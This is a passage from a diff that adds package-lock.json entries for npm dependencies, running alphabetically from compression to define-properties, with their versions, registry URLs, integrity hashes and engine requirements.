+      "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==",
+      "dependencies": {
+        "mime-db": ">= 1.43.0 < 2"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/compression": {
+      "version": "1.7.4",
+      "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz",
+      "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==",
+      "dependencies": {
+        "accepts": "~1.3.5",
+        "bytes": "3.0.0",
+        "compressible": "~2.0.16",
+        "debug": "2.6.9",
+        "on-headers": "~1.0.2",
+        "safe-buffer": "5.1.2",
+        "vary": "~1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/compression/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/compression/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/concat-map": {
+      "version": "0.0.1",
+      "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+      "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
+    },
+    "node_modules/confusing-browser-globals": {
+      "version": "1.0.11",
+      "resolved": "https://registry.npmjs.org/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz",
+      "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA=="
+    },
+    "node_modules/connect-history-api-fallback": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz",
+      "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==",
+      "engines": {
+        "node": ">=0.8"
+      }
+    },
+    "node_modules/content-disposition": {
+      "version": "0.5.4",
+      "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
+      "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
+      "dependencies": {
+        "safe-buffer": "5.2.1"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/content-disposition/node_modules/safe-buffer": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ]
+    },
+    "node_modules/content-type": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
+      "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/convert-source-map": {
+      "version": "1.8.0",
+      "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz",
+      "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==",
+      "dependencies": {
+        "safe-buffer": "~5.1.1"
+      }
+    },
+    "node_modules/cookie": {
+      "version": "0.7.1",
+      "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.1.tgz",
+      "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/cookie-signature": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+      "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
+    },
+    "node_modules/core-js": {
+      "version": "3.25.3",
+      "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.25.3.tgz",
+      "integrity": "sha512-y1hvKXmPHvm5B7w4ln1S4uc9eV/O5+iFExSRUimnvIph11uaizFR8LFMdONN8hG3P2pipUfX4Y/fR8rAEtcHcQ==",
+      "hasInstallScript": true,
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/core-js"
+      }
+    },
+    "node_modules/core-js-compat": {
+      "version": "3.25.3",
+      "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.25.3.tgz",
+      "integrity": "sha512-xVtYpJQ5grszDHEUU9O7XbjjcZ0ccX3LgQsyqSvTnjX97ZqEgn9F5srmrwwwMtbKzDllyFPL+O+2OFMl1lU4TQ==",
+      "dependencies": {
+        "browserslist": "^4.21.4"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/core-js"
+      }
+    },
+    "node_modules/core-js-pure": {
+      "version": "3.25.3",
+      "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.25.3.tgz",
+      "integrity": "sha512-T/7qvgv70MEvRkZ8p6BasLZmOVYKzOaWNBEHAU8FmveCJkl4nko2quqPQOmy6AJIp5MBanhz9no3A94NoRb0XA==",
+      "hasInstallScript": true,
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/core-js"
+      }
+    },
+    "node_modules/core-util-is": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
+      "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="
+    },
+    "node_modules/cosmiconfig": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz",
+      "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==",
+      "dependencies": {
+        "@types/parse-json": "^4.0.0",
+        "import-fresh": "^3.2.1",
+        "parse-json": "^5.0.0",
+        "path-type": "^4.0.0",
+        "yaml": "^1.10.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/cross-spawn": {
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+      "dependencies": {
+        "path-key": "^3.1.0",
+        "shebang-command": "^2.0.0",
+        "which": "^2.0.1"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/crypto-random-string": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
+      "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/css": {
+      "version": "2.2.4",
+      "resolved": "https://registry.npmjs.org/css/-/css-2.2.4.tgz",
+      "integrity": "sha512-oUnjmWpy0niI3x/mPL8dVEI1l7MnG3+HHyRPHf+YFSbK+svOhXpmSOcDURUh2aOCgl2grzrOPt1nHLuCVFULLw==",
+      "dependencies": {
+        "inherits": "^2.0.3",
+        "source-map": "^0.6.1",
+        "source-map-resolve": "^0.5.2",
+        "urix": "^0.1.0"
+      }
+    },
+    "node_modules/css-blank-pseudo": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz",
+      "integrity": "sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.9"
+      },
+      "bin": {
+        "css-blank-pseudo": "dist/cli.cjs"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/css-declaration-sorter": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.3.1.tgz",
+      "integrity": "sha512-fBffmak0bPAnyqc/HO8C3n2sHrp9wcqQz6ES9koRF2/mLOVAx9zIQ3Y7R29sYCteTPqMCwns4WYQoCX91Xl3+w==",
+      "engines": {
+        "node": "^10 || ^12 || >=14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.0.9"
+      }
+    },
+    "node_modules/css-has-pseudo": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz",
+      "integrity": "sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.9"
+      },
+      "bin": {
+        "css-has-pseudo": "dist/cli.cjs"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/css-loader": {
+      "version": "6.7.1",
+      "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz",
+      "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==",
+      "dependencies": {
+        "icss-utils": "^5.1.0",
+        "postcss": "^8.4.7",
+        "postcss-modules-extract-imports": "^3.0.0",
+        "postcss-modules-local-by-default": "^4.0.0",
+        "postcss-modules-scope": "^3.0.0",
+        "postcss-modules-values": "^4.0.0",
+        "postcss-value-parser": "^4.2.0",
+        "semver": "^7.3.5"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.0.0"
+      }
+    },
+    "node_modules/css-minimizer-webpack-plugin": {
+      "version": "3.4.1",
+      "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz",
+      "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==",
+      "dependencies": {
+        "cssnano": "^5.0.6",
+        "jest-worker": "^27.0.2",
+        "postcss": "^8.3.5",
+        "schema-utils": "^4.0.0",
+        "serialize-javascript": "^6.0.0",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.0.0"
+      },
+      "peerDependenciesMeta": {
+        "@parcel/css": {
+          "optional": true
+        },
+        "clean-css": {
+          "optional": true
+        },
+        "csso": {
+          "optional": true
+        },
+        "esbuild": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/css-minimizer-webpack-plugin/node_modules/ajv": {
+      "version": "8.11.0",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+      "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "json-schema-traverse": "^1.0.0",
+        "require-from-string": "^2.0.2",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/css-minimizer-webpack-plugin/node_modules/ajv-keywords": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+      "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3"
+      },
+      "peerDependencies": {
+        "ajv": "^8.8.2"
+      }
+    },
+    "node_modules/css-minimizer-webpack-plugin/node_modules/json-schema-traverse": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+    },
+    "node_modules/css-minimizer-webpack-plugin/node_modules/schema-utils": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+      "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.9",
+        "ajv": "^8.8.0",
+        "ajv-formats": "^2.1.1",
+        "ajv-keywords": "^5.0.0"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/css-prefers-color-scheme": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz",
+      "integrity": "sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==",
+      "bin": {
+        "css-prefers-color-scheme": "dist/cli.cjs"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/css-select": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz",
+      "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==",
+      "dependencies": {
+        "boolbase": "^1.0.0",
+        "css-what": "^6.0.1",
+        "domhandler": "^4.3.1",
+        "domutils": "^2.8.0",
+        "nth-check": "^2.0.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/css-select-base-adapter": {
+      "version": "0.1.1",
+      "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz",
+      "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w=="
+    },
+    "node_modules/css-tree": {
+      "version": "1.0.0-alpha.37",
+      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.37.tgz",
+      "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==",
+      "dependencies": {
+        "mdn-data": "2.0.4",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/css-what": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz",
+      "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==",
+      "engines": {
+        "node": ">= 6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/css.escape": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
+      "integrity": "sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s="
+    },
+    "node_modules/cssdb": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-7.0.1.tgz",
+      "integrity": "sha512-pT3nzyGM78poCKLAEy2zWIVX2hikq6dIrjuZzLV98MumBg+xMTNYfHx7paUlfiRTgg91O/vR889CIf+qiv79Rw==",
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      }
+    },
+    "node_modules/cssesc": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+      "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
+      "bin": {
+        "cssesc": "bin/cssesc"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/cssnano": {
+      "version": "5.1.13",
+      "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.13.tgz",
+      "integrity": "sha512-S2SL2ekdEz6w6a2epXn4CmMKU4K3KpcyXLKfAYc9UQQqJRkD/2eLUG0vJ3Db/9OvO5GuAdgXw3pFbR6abqghDQ==",
+      "dependencies": {
+        "cssnano-preset-default": "^5.2.12",
+        "lilconfig": "^2.0.3",
+        "yaml": "^1.10.2"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/cssnano"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/cssnano-preset-default": {
+      "version": "5.2.12",
+      "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.12.tgz",
+      "integrity": "sha512-OyCBTZi+PXgylz9HAA5kHyoYhfGcYdwFmyaJzWnzxuGRtnMw/kR6ilW9XzlzlRAtB6PLT/r+prYgkef7hngFew==",
+      "dependencies": {
+        "css-declaration-sorter": "^6.3.0",
+        "cssnano-utils": "^3.1.0",
+        "postcss-calc": "^8.2.3",
+        "postcss-colormin": "^5.3.0",
+        "postcss-convert-values": "^5.1.2",
+        "postcss-discard-comments": "^5.1.2",
+        "postcss-discard-duplicates": "^5.1.0",
+        "postcss-discard-empty": "^5.1.1",
+        "postcss-discard-overridden": "^5.1.0",
+        "postcss-merge-longhand": "^5.1.6",
+        "postcss-merge-rules": "^5.1.2",
+        "postcss-minify-font-values": "^5.1.0",
+        "postcss-minify-gradients": "^5.1.1",
+        "postcss-minify-params": "^5.1.3",
+        "postcss-minify-selectors": "^5.2.1",
+        "postcss-normalize-charset": "^5.1.0",
+        "postcss-normalize-display-values": "^5.1.0",
+        "postcss-normalize-positions": "^5.1.1",
+        "postcss-normalize-repeat-style": "^5.1.1",
+        "postcss-normalize-string": "^5.1.0",
+        "postcss-normalize-timing-functions": "^5.1.0",
+        "postcss-normalize-unicode": "^5.1.0",
+        "postcss-normalize-url": "^5.1.0",
+        "postcss-normalize-whitespace": "^5.1.1",
+        "postcss-ordered-values": "^5.1.3",
+        "postcss-reduce-initial": "^5.1.0",
+        "postcss-reduce-transforms": "^5.1.0",
+        "postcss-svgo": "^5.1.0",
+        "postcss-unique-selectors": "^5.1.1"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/cssnano-utils": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz",
+      "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==",
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/csso": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz",
+      "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==",
+      "dependencies": {
+        "css-tree": "^1.1.2"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/csso/node_modules/css-tree": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
+      "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
+      "dependencies": {
+        "mdn-data": "2.0.14",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=8.0.0"
+      }
+    },
+    "node_modules/csso/node_modules/mdn-data": {
+      "version": "2.0.14",
+      "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
+      "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow=="
+    },
+    "node_modules/cssom": {
+      "version": "0.4.4",
+      "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz",
+      "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw=="
+    },
+    "node_modules/cssstyle": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz",
+      "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==",
+      "dependencies": {
+        "cssom": "~0.3.6"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/cssstyle/node_modules/cssom": {
+      "version": "0.3.8",
+      "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
+      "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg=="
+    },
+    "node_modules/csstype": {
+      "version": "2.6.10",
+      "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.10.tgz",
+      "integrity": "sha512-D34BqZU4cIlMCY93rZHbrq9pjTAQJ3U8S8rfBqjwHxkGPThWFjzZDQpgMJY0QViLxth6ZKYiwFBo14RdN44U/w=="
+    },
+    "node_modules/damerau-levenshtein": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz",
+      "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="
+    },
+    "node_modules/data-urls": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz",
+      "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==",
+      "dependencies": {
+        "abab": "^2.0.3",
+        "whatwg-mimetype": "^2.3.0",
+        "whatwg-url": "^8.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/debug": {
+      "version": "4.3.4",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+      "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+      "dependencies": {
+        "ms": "2.1.2"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/decimal.js": {
+      "version": "10.4.1",
+      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.1.tgz",
+      "integrity": "sha512-F29o+vci4DodHYT9UrR5IEbfBw9pE5eSapIJdTqXK5+6hq+t8VRxwQyKlW2i+KDKFkkJQRvFyI/QXD83h8LyQw=="
+    },
+    "node_modules/decode-uri-component": {
+      "version": "0.2.2",
+      "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz",
+      "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==",
+      "engines": {
+        "node": ">=0.10"
+      }
+    },
+    "node_modules/dedent": {
+      "version": "0.7.0",
+      "resolved": "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz",
+      "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA=="
+    },
+    "node_modules/deep-is": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
+      "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ=="
+    },
+    "node_modules/deepmerge": {
+      "version": "4.2.2",
+      "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz",
+      "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/default-gateway": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz",
+      "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==",
+      "dependencies": {
+        "execa": "^5.0.0"
+      },
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/define-data-property": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
+      "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+      "dependencies": {
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/define-lazy-prop": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz",
+      "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/define-properties": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.4.tgz",
+      "integrity": "sha512-uckOqKcfaVvtBdsVkdPv3XjveQJsNQqmhXgRi8uhvWWuPYZCNlzT8qAyblUgNoXdHdjMTzAqeGjAoli8f+bzPA==",
+      "dependencies": {
